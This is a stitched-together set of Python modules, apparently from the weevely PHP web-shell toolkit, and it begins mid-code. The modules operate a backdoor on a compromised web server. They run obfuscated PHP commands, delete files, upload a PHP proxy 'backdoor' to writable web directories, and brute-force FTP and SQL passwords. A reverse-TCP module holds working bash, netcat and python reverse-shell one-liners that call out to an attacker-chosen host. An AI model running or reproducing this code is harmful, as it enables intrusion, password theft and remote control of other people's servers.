corrupted.' % (self.name, remote_path)) else: self.mprint( '[!] [%s] File \'%s\' creation failed, check remote path and permissions.' % (self.name, remote_path)) def set_file_content(self, content): """Cleaned after use""" self.file_content = content def run_module(self, local_path, remote_path): if not self.file_content: try: local_file = open(local_path, 'r') except Exception, e: raise ModuleException(self.name, "Open file '%s' failed" % (local_path)) file_content = local_file.read() else:
class Check(Module): '''Check remote files type, md5 and permission''' vectors = VectorList([ V( 'shell.php', 'exists', "$f='%s'; (file_exists($f) || is_readable($f) || is_writable($f) || is_file($f) || is_dir($f)) && print(1);", ), V('shell.php', "dir", "is_dir('%s') && print(1);"), V('shell.php', "md5", "print(md5_file('%s'));"), V('shell.php', "r", "is_readable('%s') && print(1);"), V('shell.php', "w", "is_writable('%s') && print(1);"), V('shell.php', "x", "is_executable('%s') && print(1);"), V('shell.php', "file", "is_file('%s') && print(1);") ]) params = ParametersList( 'Check remote files type, md5 and permission', [], P(arg='rpath', help='Choose remote file path', required=True, pos=0), P(arg='mode', help='Choose mode', required=True, choices=vectors.get_names_list(), pos=1)) def run_module(self, remote_path, mode): # Skip default vector load, here vector=mode vector = self.vectors.get_vector_by_name(mode) response = self.__execute_payload(vector, [remote_path, mode]) if response != None: return response def __execute_payload(self, vector, parameters): remote_path = parameters[0] mode = parameters[1] payload = self.__prepare_payload(vector, [remote_path]) try: response = self.modhandler.load(vector.interpreter).run( {0: payload}) except ModuleException: response = None else: if response == '1': return True elif (mode == 'md5' and response): return response else: if mode != 'exists': if not self.run({'rpath': remote_path, 'mode': 'exists'}): self.mprint('File does not exists', 4) return False raise ModuleException(self.name, "File check failed") def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds")
class Rm(Module): vectors = VectorList([ Vector( 'shell.php', 'php_rmdir', """ function rmfile($dir) { if (is_dir("$dir")) rmdir("$dir"); else { unlink("$dir"); } } function exists($path) { return (file_exists("$path") || is_link("$path")); } function rrmdir($recurs,$dir) { if($recurs=="1") { if (is_dir("$dir")) { $objects = scandir("$dir"); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (filetype($dir."/".$object) == "dir") rrmdir($recurs, $dir."/".$object); else unlink($dir."/".$object); } } reset($objects); rmdir("$dir"); } else rmfile("$dir"); } else rmfile("$dir"); } $recurs="%s"; $path="%s"; if(exists("$path")) { rrmdir("$recurs", "$path"); if(!exists("$path")) echo("OK"); }"""), Vector('shell.sh', 'rm', "rm %s %s && echo OK") ]) params = ParametersList( 'Remove remote file and directory', vectors, P(arg='rpath', help='Remote path', required=True, pos=0), P(arg='recursive', help='Recursion', default=False, type=bool, pos=1), ) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def run_module(self, rpath, recursive): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [rpath, recursive]) if 'OK' in response: self.params.set_and_check_parameters({'vector': vector.name}) return True recursive_output = '' if not recursive: recursive_output = ' and use \'recursive\' with unempty folders' raise ModuleException( self.name, "Delete fail, check existance and permissions%s." % (recursive_output)) def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) try: response = self.modhandler.load(vector.interpreter).run( {0: payload}) except ModuleException: response = None else: return response def __prepare_payload(self, vector, parameters): rpath = parameters[0] recursive = parameters[1] if vector.interpreter == 'shell.sh' and recursive: recursive = '-rf' elif vector.interpreter == 'shell.php' and recursive: recursive = '1' else: recursive = '' return vector.payloads[0] % (recursive, rpath)
class Php(Module): '''Shell to execute PHP commands Every run should be run_module to avoid recursive interpreter probing ''' params = ParametersList( 'PHP command shell', [], P(arg='cmd', help='PHP commands. Terminate with semi-comma', required=True, pos=0), P(arg='mode', help='Obfuscation mode', choices=['Cookie', 'Referer']), P(arg='proxy', help='HTTP proxy'), P(arg='debug', help='Enable requests and response debug', type=bool, default=False, hidden=True)) def __init__(self, modhandler, url, password): self.cwd_vector = None self.path = None self.proxy = None self.modhandler = modhandler self.post_data = {} self.current_mode = None self.use_current_path = True self.available_modes = self.params.get_parameter_choices('mode') mode = self.params.get_parameter_value('mode') if mode: self.modes = [mode] else: self.modes = self.available_modes proxy = self.params.get_parameter_value('proxy') if proxy: self.mprint( '[!] Proxies can break weevely requests, if possibile use proxychains' ) self.proxy = {'http': proxy} Module.__init__(self, modhandler, url, password) def _probe(self): for currentmode in self.modes: rand = str(random.randint(11111, 99999)) if self.run_module('echo %s;' % (rand)) == rand: self.current_mode = currentmode #self.params.set_and_check_parameters({'mode' : currentmode}, False) break if not self.current_mode: raise ModuleException(self.name, "PHP interpreter initialization failed") else: if self.run_module( 'is_callable("is_dir") && is_callable("chdir") && print(1);' ) != '1': self.mprint( '[!] Error testing directory change methods, \'cd\' and \'ls\' will not work.' ) else: self.cwd_vector = "chdir('%s') && %s" def set_post_data(self, post_data={}): """Post data is cleaned after every use """ self.post_data = post_data def run_module(self, cmd, mode=None, proxy=None, debug=None): if mode: self.mode = mode if proxy: if not self.proxy: self.mprint( '[!] Proxies can break weevely requests, if possibile use proxychains' ) self.proxy = {'http': proxy} # Debug is equal to None only if called directly by run_module if debug == None: debug = self.params.get_parameter_value('debug') if self.use_current_path and self.cwd_vector and self.path: cmd = self.cwd_vector % (self.path, cmd) if cmd.strip() and cmd.strip()[-1] not in (';', '}'): self.mprint('[!] Warning: PHP command with no trailing semicolon') request = CmdRequest(self.url, self.password, self.proxy) request.setPayload(cmd, self.current_mode) debug_level = 1 if debug: debug_level = 5 if self.post_data: request.setPostData(self.post_data) self.mprint("Post data values:", debug_level) for p in self.post_data: self.mprint(" %s (%i)" % (p, len(self.post_data[p])), debug_level) self.post_data = {} self.mprint("Request: %s" % (cmd), debug_level) try: resp = request.execute() except NoDataException, e: self.mprint("Response: NoData", debug_level) pass except Exception, e: self.mprint( '[!] Error requesting data: check URL or your internet connection.' )
class PhpProxy(Module): params = ParametersList( 'Install PHP proxy to target. Needs \'php-proxy\' installed on target.', [], P(arg='rpath', help='Upload proxy script to web accessible path (ends with \'.php\')' ), P(arg='finddir', help= 'Install proxy script automatically starting from web accessible dir', default='.'), ) def __get_backdoor(self): backdoor_path = self.modhandler.path_modules + '/net/external/phpproxy.php' try: f = open(backdoor_path) except IOError: raise ModuleException(self.name, "'%s' not found" % backdoor_path) return f.read() def __upload_file_content(self, content, rpath): self.modhandler.load('file.upload').set_file_content(content) self.modhandler.set_verbosity(6) response = self.modhandler.load('file.upload').run({ 'lpath': 'fake', 'rpath': rpath, 'chunksize': 256 }) self.modhandler.set_verbosity() return response def __find_writable_dir(self, path='find'): self.modhandler.set_verbosity(6) self.modhandler.load('find.webdir').run({'rpath': path}) url = self.modhandler.load('find.webdir').found_url dir = self.modhandler.load('find.webdir').found_dir self.modhandler.set_verbosity() return dir, url def run_module(self, rpath, finddir): rname = ''.join(choice(letters) for i in xrange(4)) + '.php' if not rpath and finddir: path, url = self.__find_writable_dir(finddir) if not (path and url): raise ModuleException( self.name, 'Writable dir in \'%s\' not found. Specify writable dir using \':net.php_proxy rpath=writable_dir/proxy.php\'' % finddir) else: path = path + rname url = url + rname else: if not rpath.endswith('.php'): raise ModuleException( self.name, 'Remote PHP path must ends with \'.php\'') path = rpath url = None if path: phpfile = self.__get_backdoor() response = self.__upload_file_content(phpfile, path) if response: if url: self.mprint( '[%s] PHP proxy script uploaded. Go with your browser to %s?u=http://www.google.com\'' % (self.name, url)) else: self.mprint( '[%s] PHP proxy script uploaded. Go with your browser to script URL followed by ?u=http://www.google.com\'' % (self.name)) self.mprint( '[%s] When finished remove \'%s\' and \'ses_*\' files created in the same folder' % (self.name, path)) return raise ModuleException( self.name, "Error installing remote PHP proxy, check uploading path")
class Ftp(Module): '''Bruteforce ftp user''' vectors = VectorList([ Vector('shell.php', 'brute_ftp_php', [ """$h="%s"; $p="%s"; $u="%s"; $w=$_POST["%s"]; foreach(split('[\n]+',$w) as $pwd) { $c=@ftp_connect($h, $p); if($c){ $l=@ftp_login($c,$u,$pwd); if($l) { print("+" . $u . ":" . $pwd . "\n"); break; } } } """, """$h="%s"; $p="%s"; $c=@ftp_connect($h, $p); if($c) { print(1); }""" ]) ]) params = ParametersList( 'Bruteforce single ftp user using local wordlist', vectors, P(arg='user', help='User to bruteforce', required=True, pos=0), P(arg='lpath', help='Path of local wordlist', required=True, pos=1), P(arg='sline', help='Start line of local wordlist', default='all', pos=2), P(arg='host', help='FTP host', default='127.0.0.1', pos=3), P(arg='port', help='FTP port', default=21, type=int, pos=4)) def __init__(self, modhandler, url, password): self.chunksize = 5000 self.substitutive_wl = [] Module.__init__(self, modhandler, url, password) def set_substitutive_wl(self, substitutive_wl=[]): """Cleaned after use""" self.substitutive_wl = substitutive_wl def run_module(self, user, filename, start_line, host, port, substitutive_wl=[]): if start_line == 'all': start_line = 0 if host not in ('localhost', '127.0.0.1'): self.chunksize = 20 if self.substitutive_wl: wl_splitted = self.substitutive_wl[:] else: try: wordlist = open(filename, 'r') except Exception, e: raise ModuleException( self.name, "Error opening %s: %s" % (filename, str(e))) wl_splitted = [w.strip() for w in wordlist.read().split()] rand_post_name = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload( vector, [host, port, user, rand_post_name, start_line, wl_splitted]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response
class Perms(Module): '''Find files with write, read, execute permissions :find.perms first|all file|dir|all w|r|x|all <path> ''' vectors = VectorList([ V( 'shell.php', 'php_recursive', """@swp('%s','%s','%s','%s'); function ckmod($df, $m) { return ($m=="any")||($m=="w"&&is_writable($df))||($m=="r"&&is_readable($df))||($m=="x"&&is_executable($df)); } function cktp($df, $f, $t) { return ($f!='.')&&($f!='..')&&($t=='any'||($t=='f'&&@is_file($df))||($t=='d'&&@is_dir($df))); } function swp($d, $type, $mod, $qty){ $h = @opendir($d); while ($f = @readdir($h)) { $df=$d.'/'.$f; if(@cktp($df,$f,$type)&&@ckmod($df,$mod)) { print($df."\\n"); if($qty=="first") return; } if(@cktp($df,$f,'d')){ @swp($df, $type, $mod, $qty); } } @closedir($h); }"""), V('shell.sh', "find", "find %s %s %s %s 2>/dev/null") ]) params = ParametersList( 'Find files by permissions', vectors, P(arg='qty', help='How many files display', choices=['first', 'any'], default='any', pos=0), P(arg='type', help='Type', choices=['f', 'd', 'any'], default='any', pos=1), P(arg='perm', help='Permission', choices=['w', 'r', 'x', 'any'], default='r', pos=2), P(arg='rpath', help='Remote starting path', default='.', pos=3)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def __prepare_payload(self, vector, parameters): path = parameters[0] qty = parameters[1] type = parameters[2] mod = parameters[3] if vector.interpreter == 'shell.sh': if qty == 'first': qty = '-print -quit' elif qty == 'any': qty = '' if type == 'any': type = '' elif type == 'f': type = '-type f' elif type == 'd': type = '-type d' if mod == 'any': mod = '' elif mod == 'w': mod = '-writable' elif mod == 'r': mod = '-readable' elif mod == 'x': mod = '-executable' return vector.payloads[0] % (path, type, mod, qty) def run_module(self, qty, type, mod, path): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [path, qty, type, mod]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response raise ModuleException(self.name, "Files not found") def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) try: response = self.modhandler.load(vector.interpreter).run( {0: payload}) except ModuleException: response = None else: return response
class Reversetcp(Module): """Send reverse TCP shell""" vectors = VectorList([ Vector('shell.sh', 'devtcp', "/bin/bash -c \'/bin/bash 0</dev/tcp/%s/%s 1>&0 2>&0\'"), Vector('shell.sh', 'netcat-traditional', """nc -e /bin/sh %s %s"""), Vector( 'shell.sh', 'netcat-bsd', """rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f""" ), #TODO: Seems broken #Vector('shell.sh', 'perl', """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"""), Vector( 'shell.sh', 'python', """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" ), ]) params = ParametersList( 'Send reverse TCP shell ', vectors, P(arg='host', help='Local file path', required=True, pos=0), P(arg='port', help='Remote path', required=True, type=int, pos=1)) def __init__(self, modhandler, url, password): self.last_vector = None self.done = False Module.__init__(self, modhandler, url, password) def run_module(self, host, port): t = Timer(5.0, self.__check_module_state) t.start() vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: self.last_vector = vector.name self.__execute_payload(vector, [host, port]) if t.isAlive(): t.cancel() if not self.done: self.last_vector = None self.mprint( "[%s] No reverse backdoor method worked. Assure remote port is" % (self.name)) self.mprint( "[%s] listening using commands like \'nc -v -l -p <port>\'" % (self.name)) def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) return self.modhandler.load(vector.interpreter).run({ 'cmd': payload, 'stderr': 'False' }) def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __check_module_state(self): if self.last_vector and not self.done: self.params.set_and_check_parameters({'vector': self.last_vector}) self.mprint( '[%s] Reverse backdoor seems connected. If needed end commands with semicolon' % (self.name, self.last_vector)) self.done = True
class Webdir(Module): """ TODO: the check if dir is writable is unnecessary, or to move in file.check """ params = ParametersList( 'Find a writable directory and corresponding URL', [], P(arg='rpath', help='Remote directory or \'find\' automatically', default='find', pos=0)) def __init__(self, modhandler, url, password): self.dir = None self.url = None self.probe_filename = ''.join(choice(letters) for i in xrange(4)) + '.html' Module.__init__(self, modhandler, url, password) def __upload_file_content(self, content, rpath): self.modhandler.load('file.upload').set_file_content(content) self.modhandler.set_verbosity(6) response = self.modhandler.load('file.upload').run({ 'lpath': 'fake', 'rpath': rpath }) self.modhandler.set_verbosity() return response def __check_remote_test_file(self, file_path): return self.modhandler.load('file.check').run({ 'rpath': file_path, 'mode': 'exists' }) def __check_remote_test_url(self, file_url): file_content = Request(file_url).read() if (file_content == '1'): return True def __remove_remote_test_file(self, file_path): if self.modhandler.load('shell.php').run( {0: "unlink('%s') && print('1');" % file_path}) != '1': self.mprint("[!] [find.webdir] Error cleaning test file %s" % (file_path)) def __enumerate_writable_dirs(self, root_dir): if not root_dir[-1] == '/': root_dir += '/' try: writable_dirs_string = self.modhandler.load('find.perms').run({ 'qty': 'any', 'type': 'd', 'perm': 'w', 'rpath': root_dir }) writable_dirs = [d for d in writable_dirs_string.split('\n') if d] except ModuleException as e: self.mprint('[!] [' + e.module + '] ' + e.error) writable_dirs = [] return writable_dirs def run_module(self, path): if self.url and self.dir: self.mprint("[%s] Writable web dir: %s -> %s" % (self.name, self.dir, self.url)) return start_path = None if path == 'find': try: start_path = self.modhandler.load('system.info').run( {0: 'basedir'}) except ModuleException, e: self.mprint('[!] [' + e.module + '] ' + e.error) else:
class Sql(Module): '''Bruteforce sql user :bruteforce.sql mysql|postgres <host> <user> <local_file_list.txt> <start_line>|all ''' vectors = VectorList([ Vector( 'shell.php', 'brute_sql_php', """$m="%s"; $h="%s"; $u="%s"; $w=$_POST["%s"]; foreach(split('[\n]+',$w) as $pwd) { if(@$m($h, $u, $pwd)){ print("+" . $u . ":" . $pwd . "\n"); break; } } """) ]) params = ParametersList( 'Bruteforce single SQL user using a local wordlist', vectors, P(arg='dbms', help='DBMS', choices=['mysql', 'postgres'], required=True, pos=0), P(arg='user', help='SQL user to bruteforce', required=True, pos=1), P(arg='lpath', help='Path of local wordlist', required=True, pos=2), P(arg='sline', help='Start line of local wordlist', default='all', pos=3), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=4)) def __init__(self, modhandler, url, password): self.chunksize = 5000 self.substitutive_wl = [] Module.__init__(self, modhandler, url, password) def set_substitutive_wl(self, substitutive_wl=[]): """Cleaned after use""" self.substitutive_wl = substitutive_wl def run_module(self, mode, user, filename, start_line, host): if mode == 'mysql': sql_connect = "mysql_connect" elif mode == 'postgres': sql_connect = "pg_connect" else: raise ModuleException(self.name, "Database '%s' unsupported" % (mode)) if start_line == 'all': start_line = 0 if 'localhost' not in host and '127.0.0.1' not in host: self.chunksize = 20 if self.substitutive_wl: wl_splitted = self.substitutive_wl[:] self.substitutive_wl = [] else: try: wordlist = open(filename, 'r') except Exception, e: raise ModuleException( self.name, "Error opening %s: %s" % (filename, str(e))) wl_splitted = [w.strip() for w in wordlist.read().split()] rand_post_name = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [ sql_connect, host, user, rand_post_name, start_line, wl_splitted ]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response